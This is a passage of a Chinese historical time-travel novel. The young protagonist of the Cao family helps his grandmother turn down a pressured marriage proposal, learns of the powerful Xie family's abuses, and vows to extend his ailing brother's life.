曹桑实点点头:“祖母,您放心,我知道的。” 实则他忍不住在心里腹诽,就他这脑袋瓜子,就算真把学业放在第一位,好像……也没什么作用吧? 曹桑实陪着孙老夫人说了会话,就回去了逸云坞。 没错,如今他已在心里将逸云坞当成了自己的地盘,毕竟知春榭空落落的,一个人住着还是颇为寂寥。 晚饭时,曹颙听说曹桑实要开什么布庄,与孙老夫人一样,只以为他是小打小闹,压根没有将这事儿放在心上,直说织造府那些旧织机会直接送他。 对上他那不解的眼神,曹颙却是笑了起来。 “从前父亲曾教说过,水至清则无鱼,身在官场,想要独善其身并非易事。” “况且不过几台旧织机罢了,有什么打紧的?” 比起一千两银子打水漂之事,曹颙却对元宝更上心些:“你既已选中了人当长随,那我也不好多言,不过我先会命人教教他,毕竟这人从前是乞儿出身,身上难免会有些陋习。” “若他知错不改,我是断然不会留他在你身边伺候的。” 不仅如此,他还会派人查查这个叫元宝的到底是什么来历。 龙生龙,凤生凤,老鼠生的儿子会打洞,若这人父母是恶人,他一样不会允许这人留在他弟弟身边的。 曹桑实心里暖暖的,笑道:“多谢三哥。” *** 翌日一早。 曹桑实就又开始了半死不活的念书生活。 反正陈先生该说说该骂骂,只要不打他手板心,他就无所谓。 谁说会读书的人就算厉害? 哼!不会念书的他到时候一定会很厉害的! 他这小日子依旧是有条不紊,就是正接受上岗培训的元宝时常偷偷摸摸来找他,来来回回都是“咱们什么时候去找谢大夫”这句话。 曹桑实只能耐着性子同他解释:“放长线钓大鱼,谢大夫是多聪明的人呀,我们现在贸贸然前去,他肯定不会同咱们回来的。” “我知道你担心谢大夫,不过你放心,我已经与祖母说了,祖母已暗中派人保护谢大夫。” “他也就是如今的日子稍微苦了点,并无性命之忧。” 元宝悬着的一颗心,这才放了下来。 曹桑实刚与元宝分别,朝逸云坞方向走去,就听说曹家来客了。 自曹寅死后,曹家鲜少有贵客前来。 即便后有赫寿与董鄂·噶礼登门道歉,曹家却却也是及不上当初热闹。 曹桑实见管事刘忠步履匆匆,不免多问了几句,这才知道原来是董鄂·噶礼的妻子带着女儿登门呢。 他好奇道:“董鄂格格?哪个董鄂格格?难不成是从前与三哥订过亲事的那位董鄂格格?” “她们今日来做什么的?” 刘忠是笑而不语,凡事直说不知道。 曹桑实深知刘忠既能当大管事,足见他是个有本事的,别的不说,起码嘴巴严实得很。 曹桑实大眼睛滴溜一转,就朝萱瑞堂跑去。 他一进去,就见着孙老夫人下首坐了位中年妇人,这妇人衣着华贵的程度可谓与常二夫人不相上下。 只见董鄂福晋面上带着讨好的笑,看似极其尊敬,实则她身子坐的笔直,一看就是不情不愿才会登门。 至于她身侧那位十八九岁的董鄂格格,则是装都不愿意装呢,脸上毫无笑意,一脸不耐烦。 他上前道:“祖母。” 孙老夫人是多聪明的人呐,自然知道董鄂福晋今日登门是什么意思,方才听她几次委婉提起退亲一事她并不赞同,并未接话。 如今见曹桑实过来,含笑道:“桑实,过来见过董鄂福晋。” 曹桑实上前见礼。 董鄂福晋笑道:“先前我就听大人说过东府又过继了个孩子,这孩子长得可真好呀,唇红齿白,耳朵又大,一看就是个有福气的……” 她那好听的话像不要钱似的往外蹦,可说着说着,那话题又落到了曹颙与董鄂·思蓉的亲事上。 “我向来是拿您当母亲一样看待的,在您跟前,我也没什么不好说的。” “当日大人说要退了两个孩子 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董鄂福晋也深知道孙老夫人的心思,见她老人家没有接话,起身就要跪下:“老夫人,千错万错都是我这个当母亲的无能,就当我求求您呢……” 还能这样! 曹桑实眼疾手快,一把就将董鄂福晋扶住。 “董鄂福晋,您这是做什么!” “我父亲去世时,府中刚放出去一批丫鬟婆子,如今在祖母身边伺候的有新来的丫鬟,未好好调.教,若其中有多嘴多舌之人将今日这事传了出去……” 董鄂福晋尚未屈下去的膝盖顿时就站直了。 若这话传了出去,别人还以为她女儿嫁不出去了呢! 虽然……的确如此,但她树要皮人要脸,他可是要面子的。 谁知下一刻她又听到曹桑实开口道:“董鄂福晋,您今日登门,董鄂大人知道吗?” “自然是知道的。”董鄂福晋抹了把眼泪,点头道,“大人已经松口答应了。” 松口答应? 这话说的好像董鄂·噶礼把女儿嫁给曹颙多委屈似的! 求人就得拿出求人的态度来呀,这样高高在上的算什么! 曹桑实心里虽不快,但面上却毫无端倪,若有所思点点头道:“哦,那样是最好。” “不过……蓉儿姐姐是真的喜欢我三哥,想要嫁给我三哥吗?” “自你们家退亲之后,祖母和母亲常说,人生苦短,得选个三哥喜欢和喜欢三哥的嫂嫂回来,若两人不情不愿凑在一起过日子,能有什么意思?” 董鄂福晋想也不想,忙道:“蓉儿自是愿意的,若是她不愿意,哪里会等颙儿这么多年?” 孙老夫人与曹桑实祖孙两人相处数月,已有了默契,她老人家已知道曹曹桑实的意图,含笑道:“你说了不算。” 她老人家的眼神落在董鄂·思蓉的面上,笑道:“蓉儿,你可愿意嫁给颙儿?” 顿时,所有人的目光都落在董鄂·思蓉面上。 她下意识想扯出笑容来,却发现自己根本笑不出来。 她这模样,简直比哭还难看,木讷点点头:“我自然是愿意的。” “蓉儿姐姐,真的吗?”曹桑实看着她,扬声道,“你敢发誓吗?你说你是真心喜欢我三哥的!若方才所言有半句虚言,就……天打雷劈不得好死!你敢吗!” 23. 第 23 章 身为一个穿越者,曹桑实当然是不信这些鬼神之说的。 但问题是,这些清朝人信呀! 董鄂·思蓉一听这话,嘴巴一瘪,下意识看向她额娘道:“额娘,额娘,这……” 她尚未二十,可不想早早被雷劈死! 董鄂福晋一怔,下意识想冲女儿使眼色叫她先将此事糊弄过去,但到底还是没狠下心来。 孙老夫人见状,哪里还有什么不明白的? 她老人家先是训了曹桑实几句,然后又道:“结亲是结两家之好,可不是结仇的,既然蓉儿不愿嫁给颙儿,又何必勉强她?” “老夫人,话也不能这样说!”董鄂福晋深知今日是只能成功不能失败,也顾不得方才自己稀里糊涂说了一大堆,又道,“儿女的亲事皆由父母做主,他们两个孩子都是好孩子成亲后相处个一年半载定会有感情的!” 孙老夫人却摇头道:“我看不必了,想来这两个孩子之间没有缘分。” “若他们之间的姻缘真是上天注定,也就不会有从前退亲一事。” “好马不吃回头草,蓉儿姑娘出身尊贵,模样端秀,以后定能寻得如意郎君。” 话都已说到这般地步,董鄂福晋也知道再无说下去的必要,只能带着女儿讪讪而归。 明明事情已迎刃而解,孙老夫人面上也带着笑,但她老人家心里却是怎么都高兴不起来。 董鄂福晋哪里是上门试探此桩亲事有无转圜的余地? 分明就是逼婚! 只怕董鄂·噶礼根本就没想到他们敢拒了这门亲事! 就算自她病后再未出门,就算曹颙等人在她跟前是报喜不报忧……但她却是心中清楚,自长子故去后,曹家已不再是当年那个曹家,若换成从前,就算再借董鄂·噶礼一个胆子,他们也不敢登门的! *** 姜还是老的辣。 曹桑实并未察觉出孙老夫人的不对。 等着他回去见到曹颙后,见到了神色疲惫的曹颙。 官大一级都能压死人,更别提董鄂·噶礼如今已是一品的总督,他是软硬兼施,这几日压得曹颙喘不上气,惹得曹颙这般性子的人都忍不住埋怨了几句。 “……我私以为公是公,私是私,但架不住董鄂·噶礼是公私不分。” “短短十多天的时间,他已与我提起这门亲事数次。” “可我的亲事并非我一人之事,若真的松口答应,则曹家如同董鄂·噶礼的玩物一般,曹家上下会沦为笑柄。” 曹桑实看着三哥脸上好不容易养出来的血色已消失的无影无踪,也见识到官场的残酷,低声道:“三哥,那今日祖母拒绝了亲事,那臭咖喱岂不是暗中又要为难你了?” “无妨。”曹颙苦笑一声,道,“我已经习惯了。” 曹桑实:“……” 他看着曹颙的眼睛,正色道:“三哥,只恨我还太小,根本帮不上你什么忙。” “不,六弟,你已经帮了我很多忙了。”曹颙摸了摸他的小脑袋,道,“有你陪在祖母身边,祖母比从前开怀了不少。” 顿了顿,曹颙又道:“你虽小,却也能替我出主意,皇上元宵节赏下来的三万两白银,我已还了朝廷的亏空,纵然是杯水车薪,却能叫旁人看到我们的态度。” 曹桑实仍是怔怔看着他,眼神里带着心疼。 曹颙心里一暖,笑道:“好了,我没事,与你说上几句,我心里舒服多了。” “对了,前些日子你叫我彻查谢家,已有了眉目。” 曹桑实这才知道。 谢家不仅是铜山镇的第一大户,在江宁,乃至整个江南都是小有名气的。 谢家亦是靠丝绸布庄为生,家境殷实,家中屡有读书人出仕,虽说都是些七八品的小官,但从商到仕,已形成了阶级性的跨越。 最重要的是,谢家在数十年前已攀上了董鄂·噶礼。 曹桑实皱皱眉。 怎么哪里都有这臭咖喱? 曹颙则不急不缓道:“……想来你只知道今日登门的董鄂福晋为续弦,却不知道她是董鄂·噶礼的第四位夫人。” “董鄂·噶礼这人护短、不聪明不说,还贪财好色,很是张狂。” “谢家当年之所以能攀上他,是因谢家女儿极为貌美。” 曹桑实想着谢大夫纵然疯疯癫癫,但仍不掩其出众容貌,想来也能知道家中姐妹是生的极美的。 他眉头愈皱,问道:“那总督府里可是有位谢姨娘?” “不止一位谢姨娘,而是有三位谢姨娘。”曹颙见弟弟眼神里带着惊愕,苦笑一声道,“许多事情比你想象中还要龌龊,谢家家大业大,女儿众多,但每个女儿定亲之前都要去总督府露个面。” “若被董鄂·噶礼瞧中了,则留在总督府当姨娘,若没被瞧中,才能嫁人!” 他的手指轻轻敲在桌面,摇头道:“至于你说的那位谢大夫,他原是谢家第九房嫡子,从小聪明过人,痴迷医术。” “他也是有个妹妹的。” “当年他拜师在外地,他的父亲要将他妹妹送往总督府,但他母亲不答应,更是偷偷放走了他妹妹。” “谢家勃然大怒,生生逼死了他母亲,对外却是宣称他母亲因他妹妹逃离谢家,一时动怒,气的自缢身亡,所以这才有了后面谢大夫与谢家决裂,转而爱上青楼女子,被逐出家门一事。” 曹桑实顿时就捋清楚了整件事的来龙去脉。 知子莫若母。 同样,从小在母亲身边长大的谢大夫自也是了解自己母亲的,知道母亲不会因妹妹离开谢家一事伤心,反而只会高兴。 他上门要一个说法,可谢家根本不会给他说法的。 谢家足足有十几房,家里人加起来有数百人之多,连自家女儿的命都可以不在乎,哪里会将一个娶来媳妇的命放在眼里? 他忍不住呢喃道:“这样说来,谢大夫真可怜呀!” “妹妹下落不明,母亲被人逼死,父亲明明知情,却装作不知道,若换成我,我一样也不会甘心的。” 可想要对付枝繁叶茂的谢家,又谈何容易? 他想, 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他深吸一口气,强迫自己镇定下来:“那若我们能请了谢大夫来曹家,若谢大夫日日替我施针,若我好好保养……我还能活多少年?” “我,我不知道。”曹桑实摇摇头。 他原以为自己是穿越者,原以为自己能平静的面对生离死别,但如今……却觉得心里还是很难受的。 曹颙道:“我还能活上十年吗?” 曹桑实斟酌道:“三哥,我不愿骗你。” “按照秦院判所说,应该是还能活过十年的吧。” “那就够了。”神色紧绷的曹颙却是突然笑了起来,他再次摸了摸曹桑实的小脑袋,“十年,远比我想象中还要多上几年。” 他如释重负道:“到时候你就十六七岁,能够独当一面。” “兴许我还能看到你娶妻生子呢!” 曹桑实却是一点都笑不出来。 他还以为他三哥方才那般神色是怕死呢,原来是害怕曹家无人。 他突然觉得眼睛好想尿尿怎么回事! 他伸手,抓住曹颙按在自己脑袋上的手,正色道:“三哥,世事无绝对,秦院判虽医术高明,却又不是天底下最厉害的大夫!” “兴许过上几年,还有更厉害的人出现,他一出手,让你活到七老八十也说不准呢!” 曹颙只觉这话太孩子气了些,但他却还是道:“好,但愿如此。” 曹桑实曾多次想过该如何告诉三哥实情,却没想到三哥坦然接受了事实。 他觉得有点难受。 难受到向来一沾枕头就能睡着的他翻来覆去半宿没睡着。 翌日一早,他天未亮就起床了,先吩咐玉树与孙老夫人、陈先生处说一声,然后就去后罩房找元宝。 在路上,他的声音虽不大,却很是坚决。 “人定胜天。” “我定要想办法叫三哥活上几十年!”